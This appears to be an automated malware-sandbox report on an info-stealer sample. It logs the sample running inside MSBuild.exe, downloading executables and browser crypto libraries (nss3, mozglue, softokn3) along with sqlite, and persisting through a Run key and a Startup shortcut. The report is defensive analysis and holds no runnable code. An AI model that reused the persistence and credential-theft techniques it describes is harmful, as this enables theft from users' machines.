Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\AEHIDAKECF.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: LKMService_6546093.lnk.2.dr

LNK file: ..\..\..\..\..\..\Local\Temp\IDSM\22594e132764.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: WiTqtf1aiE.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: WiTqtf1aiE.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: WiTqtf1aiE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.9.dr, freebl3[1].dll.9.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.9.dr, freebl3[1].dll.9.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, nss3[1].dll.9.dr
Source:	Binary string: C:\Users\Scarrled\Desktop\IDSM\IDSM\Release\ConsoleApplication1.pdb++ source: WiTqtf1aiE.exe, 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Scarrled\Desktop\IDSM\IDSM\Release\ConsoleApplication1.pdb source: WiTqtf1aiE.exe, WiTqtf1aiE.exe, 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000009.00000002.2658512043.0000000038646000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.9.dr, vcruntime140.dll.9.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000009.00000002.2653108923.000000002C76E000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.9.dr, msvcp140[1].dll.9.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, nss3[1].dll.9.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2714165077.000000001FEBB000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr

Source: WiTqtf1aiE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: WiTqtf1aiE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: WiTqtf1aiE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: WiTqtf1aiE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: WiTqtf1aiE.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00418A9A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_00418A9A

Source: freebl3.dll.9.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.9.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.9.dr	Static PE information: section name: .didat
Source: softokn3.dll.9.dr	Static PE information: section name: .00cfg
Source: nss3.dll.9.dr	Static PE information: section name: .00cfg
Source: sql[1].dll.9.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.9.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.9.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.9.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.9.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.9.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Code function: 0_2_005A71AD push ecx; ret	0_2_005A71C0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_008471AD push ecx; ret	8_2_008471C0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089C16A push ecx; ret	8_2_0089C17D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089C5D6 push 800003C3h; ret	8_2_0089C5DD
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089C56A push cs; retn 0003h	8_2_0089C58D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089C654 push cs; retf 0003h	8_2_0089C655
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0089EBED push 0000004Ch; iretd	8_2_0089EBFE
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_00899CD6 push esi; retn 0042h	8_2_00899CD7
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 8_2_0088ADDD push ecx; ret	8_2_0088ADF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042F292 push ecx; ret	9_2_0042F2A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042CDFE push esi; retn 0042h	9_2_0042CDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00422E8A push esi; ret	9_2_00422E8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0041DF05 push ecx; ret	9_2_0041DF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00432715 push 0000004Ch; iretd	9_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_6CA9B536 push ecx; ret	9_2_6CA9B549
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_008471AD push ecx; ret	13_2_008471C0
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089C16A push ecx; ret	13_2_0089C17D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089C5D6 push 800003C3h; ret	13_2_0089C5DD
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089C56A push cs; retn 0003h	13_2_0089C58D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089C654 push cs; retf 0003h	13_2_0089C655
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0089EBED push 0000004Ch; iretd	13_2_0089EBFE
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00899CD6 push esi; retn 0042h	13_2_00899CD7
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_0088ADDD push ecx; ret	13_2_0088ADF0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00403560 memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ,??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ,?_Xbad_alloc@std@@YAXXZ,memmove,?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z,??Bios_base@std@@QBE_NXZ,?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z,??Bios_base@std@@QBE_NXZ,GetTempPathA,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,memmove,URLDownloadToFileA,SetFileAttributesA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,ShellExecuteA,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UAE@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,

2_2_00403560

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\22594e132764[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a43486128347[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AEHIDAKECF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\AEHIDAKECF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6546093.lnk

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6546093.lnk

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IDSMService			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run IDSMService			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

9_2_00418A9A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
